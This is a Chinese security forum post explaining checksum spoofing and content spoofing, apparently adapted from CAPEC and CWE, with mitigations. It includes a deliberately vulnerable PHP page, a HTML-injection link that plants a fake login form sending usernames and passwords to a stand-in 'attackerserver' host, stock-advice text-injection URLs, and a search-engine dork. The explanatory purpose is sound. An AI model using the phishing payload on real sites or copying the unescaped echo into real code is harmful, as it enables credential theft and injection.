梦幻的彼岸 发表于 2021-1-11 17:32:34

[攻击方法]欺骗攻击_内容欺骗:校验和欺骗

本帖最后由 梦幻的彼岸 于 2021-2-7 21:46 编辑

简述
知己知彼,方能百战百胜。 -《孙子兵法》
备注:会对内容进行不定时更新
更新日期:2021年1月10日欢迎大家一起讨论与完善

static/image/hrline/1.gif

引申知识
何为欺骗攻击

[*]英文:Engage in Deceptive Interactions
[*]欺骗就像犯罪本身一样古老,骗子们使用狡诈的方法来欺骗人们,以使自己获得非法利益。在现实世界中,这种行为长期以来一直是犯罪活动的主流,而现在已经深入到了虚拟世界。
[*]欺骗攻击是描述一种行为类型的广义术语,是指网络罪犯试图伪装成可信任的用户或设备,从而欺骗您做一些对攻击者有利、对受害者不利的事情
[*]此类别中的攻击模式着眼于与目标的恶意交互,试图欺骗目标,使目标相信它是在与其他委托人互动,从而根据目标与其他委托人之间存在的信任程度采取行动。
[*]这些类型的攻击假设某些内容或功能与身份相关联,并且由于这种相关联,该内容/功能被目标信任。
[*]这些类型的攻击通常以 "欺骗 "一词来识别,它们依赖于对内容和/或身份的伪造,从而使目标会错误地信任内容的合法性。
[*]例如,攻击者可能修改双方之间的金融交易,使参与者保持不变,但交易金额增加。如果收件人无法检测到变化,他们可能会错误地认为修改后的消息来源于原始发送者。
[*]这些类型的攻击可能涉及对手从头开始制作内容,或捕获和修改合法内容。

何为内容欺骗攻击

[*]英文:Content Spoofing
[*]攻击者修改内容以使其包含原始内容生产者想要的内容以外的内容,同时保持内容的外观来源不变。
[*]内容欺骗一词最常用于描述由目标托管的网页的修改,以显示对手的内容而不是所有者的内容。 但是,可以欺骗任何内容,包括电子邮件消息,文件传输的内容或其他网络通信协议的内容。
[*]内容可以在源处进行修改(例如,修改网页的源文件)或在传输过程中(例如,在发送方和接收方之间截取和修改消息)。
[*]通常,对手会试图隐藏内容已被修改的事实,但是在某些情况下,例如网站被污损,这是不必要的。 内容欺骗可能导致恶意软件暴露,财务欺诈(如果内容控制财务交易),侵犯隐私和其他不良后果。


static/image/hrline/1.gif

正文内容
何为校验和

[*]检验和(checksum),在数据处理和数据通信领域中,用于校验目的地一组数据项的和,它通常是以十六进制为数制表示的形式。
[*]如果校验和的数值超过十六进制的FF,也就是255. 就要求其补码作为校验和。通常用来在通信中,尤其是远距离通信中保证数据的完整性和准确性。
[*]这些数据项可以是数字或在计算检验的过程中看作数字的其它字符串。校验和(checksum)是指传输位数的累加,当传输结束时,接收者可以根据这个数值判断是否接到了所有的数据。如果数值匹配,那么说明传送已经完成。
[*]TCP和UDP传输层都提供了一个校验和与验证总数是否匹配的服务功能。

何为校验和欺骗攻击

[*]英文:Checksum Spoofing
[*]攻击者伪造了一个校验和,目的是使有效攻击负载看起来像是一个正常的校验和。 校验和通常用于验证消息的完整性,它们由基于它们所保护的消息内容的一些值所组成。
[*]哈希码是一种常见的校验和计算机制。 发送者和接收者都能够基于消息的内容计算校验和。 如果邮件内容在发送方和接收方之间更改,则发送方和接收方将计算不同的校验码。 由于发送者的校验和值与消息一起发送,因此接收者会知道发生了修改。 在校验和伪造攻击中,对手会修改邮件正文,然后修改相应的校验和,以便收件人的校验和计算将与邮件中的校验和(由攻击者创建)匹配, 这将阻止收件人意识到所接受到的内容发生了更改。

攻击危害评级
中危

前提条件

[*]攻击者必须能够拦截发信人的信息(不让收信人收到),修改信息,并将修改后的信息发送给收信人。
[*]发送者和接收者必须使用一个校验和来保护其信息的完整性,并以对手能够拦截和修改信息的方式传输这个校验和。
[*]攻击者需指定校验码的计算方法,使用只有发送者和接收者才知道的密钥的加密校验和,将能阻止这种攻击。

资源需求
攻击者需有一个可以拦截和修改发送者和接收者之间消息的工具。
示例

Plaintext: Place 10 orders.
Hash: T0mUNdEQh13IO9oTcaP4FYDX6pU=
利用成因
未采用一个好的验证方法,导致可被攻击者伪造。
简述
因无验证机制或错误地验证信息的完整性校验和,这将导致使软件无法检测数据是否在传输过程中被修改或损坏。
扩展知识
使用前对校验和进行不正确的验证会长生不必要的风险,但可以轻松地降低此风险。 规范用于计算校验码的算法,之后,只需执行计算并验证计算出的校验和与接收到的校验和是否匹配即可,但对计算出的校验码和收到的校验和的未进行一个有效的验证可能导致更大的危害。
被利用的可能性

示例
代码语言:C
sd = socket(AF_INET, SOCK_DGRAM, 0); serv.sin_family = AF_INET;
serv.sin_addr.s_addr = htonl(INADDR_ANY);
servr.sin_port = htons(1008);
bind(sd, (struct sockaddr *) & serv, sizeof(serv));
while (1) {

memset(msg, 0x0, MAX_MSG);
clilen = sizeof(cli);
if (inet_ntoa(cli.sin_addr)==...) n = recvfrom(sd, msg, MAX_MSG, 0, (struct sockaddr *) & cli, &clilen);
}
代码语言:Java
while(true) {
DatagramPacket packet = new DatagramPacket(data,data.length,IPAddress, port);
socket.send(sendPacket);
}
缓解措施
阶段:实施
在解析和使用消息之前,请确保已根据协议规范正确检查消息中的校验和。

内容欺骗漏洞解析与寻找已发起的内容欺骗攻击

[*]英文:Content Spoofing
[*]内容欺骗(Content spoofing),也称为内容注入、"任意文本注入 "或虚拟污损,是一种针对用户的攻击,通过网络应用中的注入漏洞使之成为可能。当应用程序没有正确处理用户提供的数据时,攻击者可以向网络应用程序提供内容,通常是通过一个参数值,并反映给用户。这就给用户呈现了一个受信任域上下文下的修改页面。这种攻击通常作为社会工程使用,或者与社会工程一起使用,因为这种攻击是利用基于代码的漏洞和用户的信任。
[*]补充一点:
这种攻击被广泛误解为一种不会带来影响的bug。
[*]攻击类型:
客户端
[*]风险因素:
风险因素取决于应用的业务类型。如果应用业务品牌知名,且有主要竞争对手,这个问题就会被恶意竞争对手/不满的员工/不满意的客户滥用,引发大量虚假信息向毫无戒心的客户传播。另一个提高风险的因素是通过做SEO注入的方式,让搜索引擎抓取并索引带有伪造信息的手工URL。
[*]通过这样做,客户可能会被迫转而使用竞争对手的产品。这可能会导致货币价值的损失,直到受害企业妥善进行整改。对于上市公司来说,其股价将一落千丈,导致数百万的损失不受控制。
[*]搜索引擎搜索已发起的内容欺骗攻击

intitle:"已泄露的攻击元素:如常见的电话、邮箱、qq等联系方式"


攻击案例:

[*]一名攻击者通过Twitter/Facebook/Instagram/类似的流行渠道泄露了拥有数千名追随者的社交帐户,并分发误导性的内容欺骗负载。这将导致媒体认为新闻是正确的,并创造头条新闻。
[*]如何挖掘:
在以下情况下可以轻松找到文本注入漏洞:
通过参数或直接在URL中输入的用户将反映在页面响应中
内容类型:文本/纯文本
应用程序给出默认错误页面 ,如:利用错误信息可自定义漏洞进行内容欺骗攻击行为



[*]适用行业
[*]出售一种产品作为主要业务功能的业务实体
例如:出租车服务,在线购物业务,在线服务业务
[*]依赖品牌名称的企业实体
例如:化妆品品牌,航空公司品牌
[*]出售一种产品作为主要业务功能的业务实体
例如:出租车服务,在线购物业务,在线服务业务
[*]依赖品牌名称的企业实体
例如:化妆品品牌,航空公司品牌


[*]常见攻击者身份例举
恶意竞争对手
心怀不满的员工
不满意的顾客
骗子


内容欺骗与跨站脚本的区别
内容欺骗是一种与跨站脚本(XSS)密切相关的攻击。XSS使用`<script>`和其他技术来运行JavaScript,而内容欺骗则使用其他技术来修改页面以达到恶意的目的。
即使在Web应用程序内使用了XSS缓解技术,如适当的输出编码,应用程序仍可能受到基于文本的内容欺骗攻击。
示例:
超文本标记语言(HTML)注入
下面演示了一个可能的攻击场景。对于这个场景,我们假设没有实现输出编码:

[*]攻击者发现了注入漏洞,并决定欺骗一个登录表单。
[*]攻击者制作恶意链接,包括他们注入的HTML内容,并通过电子邮件发送给用户。
[*]用户访问该页面是由于该页面位于一个可信域内
[*]攻击者注入的HTML会被渲染并呈现给用户,要求用户输入用户名和密码。
[*]用户输入用户名和密码,两者都会被发送到攻击者的服务器上。

一个简单的PHP页面,包含一个通过参数:name注入的漏洞:

<?php
    $name = $_REQUEST ['name'];
?>
<html>
    <h1>Welcome to the Internet!</h1>
    <br>
    <body>
            Hello, <?php echo $name; ?>!
      <p>We are so glad you are here!</p>
    </body>
</html>

可以通过向页面发出以下GET请求来测试页面功能:http://127.0.0.1/vulnerable.php?name=test。(需根据示例代码创建相关php文件,外加本地有支持php运行的相关服务,如:常用phpstudy搭建php运行环境)
通过请求下面的链接,页面会渲染注入的HTML,呈现一个登录表单,并在注入点后注释出页面的其他部分。一旦用户输入他们的用户名和密码,这些值就会通过POST.login.php被发送到攻击者服务器上一个名为的页面。

http://127.0.0.1/vulnerable.php?name=<h3>Please Enter Your Username and Password to Proceed:</h3><form method="POST"
action="http://attackerserver/login.php">Username: <input type="text" name="username" /><br />Password: <input type="password"
name="password" /><br /><input type="submit" value="Login" /></form><!--

文本注入
内容欺骗攻击的另一个例子是通过文本操作向用户呈现虚假信息。下面是一个攻击场景。对于这个场景,让我们假设正确的输出编码已经实现,XSS是不可能的。

攻击者发现一个网络应用程序,它向用户推荐他们是否应该买入或卖出某只股票。
攻击者确定了一个脆弱的参数
攻击者通过稍微修改有效的请求来制作一个恶意链接
包含修改后的请求的链接被发送给用户,用户点击该链接。
使用攻击者的恶意推荐创建了一个有效的网页,用户认为该推荐来自股票网站。

URL模拟案例:

[*]有效页面:
存在漏洞的目标/suggestions.php?stockid=123&stockrecommendation=We+Recommend+You+Buy+Now
修改页
存在漏洞的目标/suggestions.php?stockid=123&stockrecommendation=We+Really+Recommend+You+Sell+This+Stock+Now
[*]其他例子:
修改页
存在漏洞的目标/suggestions.php?stockid=123&stockrecommendation=Our+site+has+experienced+major+hacking+incident.Please+use+our+competitor+site+http://www.competitor.com+until+we+further+announced+for+update.



参考资料

[*]《校验和百科》
[*]《卡巴斯基资源中心》
[*]《CAPEC》
[*]《CWE》
[*]《Distributed Systems Security: Issues, Processes and Solutions》
[*]《Content Spoofing》



光晕 发表于 2022-3-25 09:24:24

赞一个,这个帖子很给力!
页: [1]
查看完整版本: [攻击方法]欺骗攻击_内容欺骗:校验和欺骗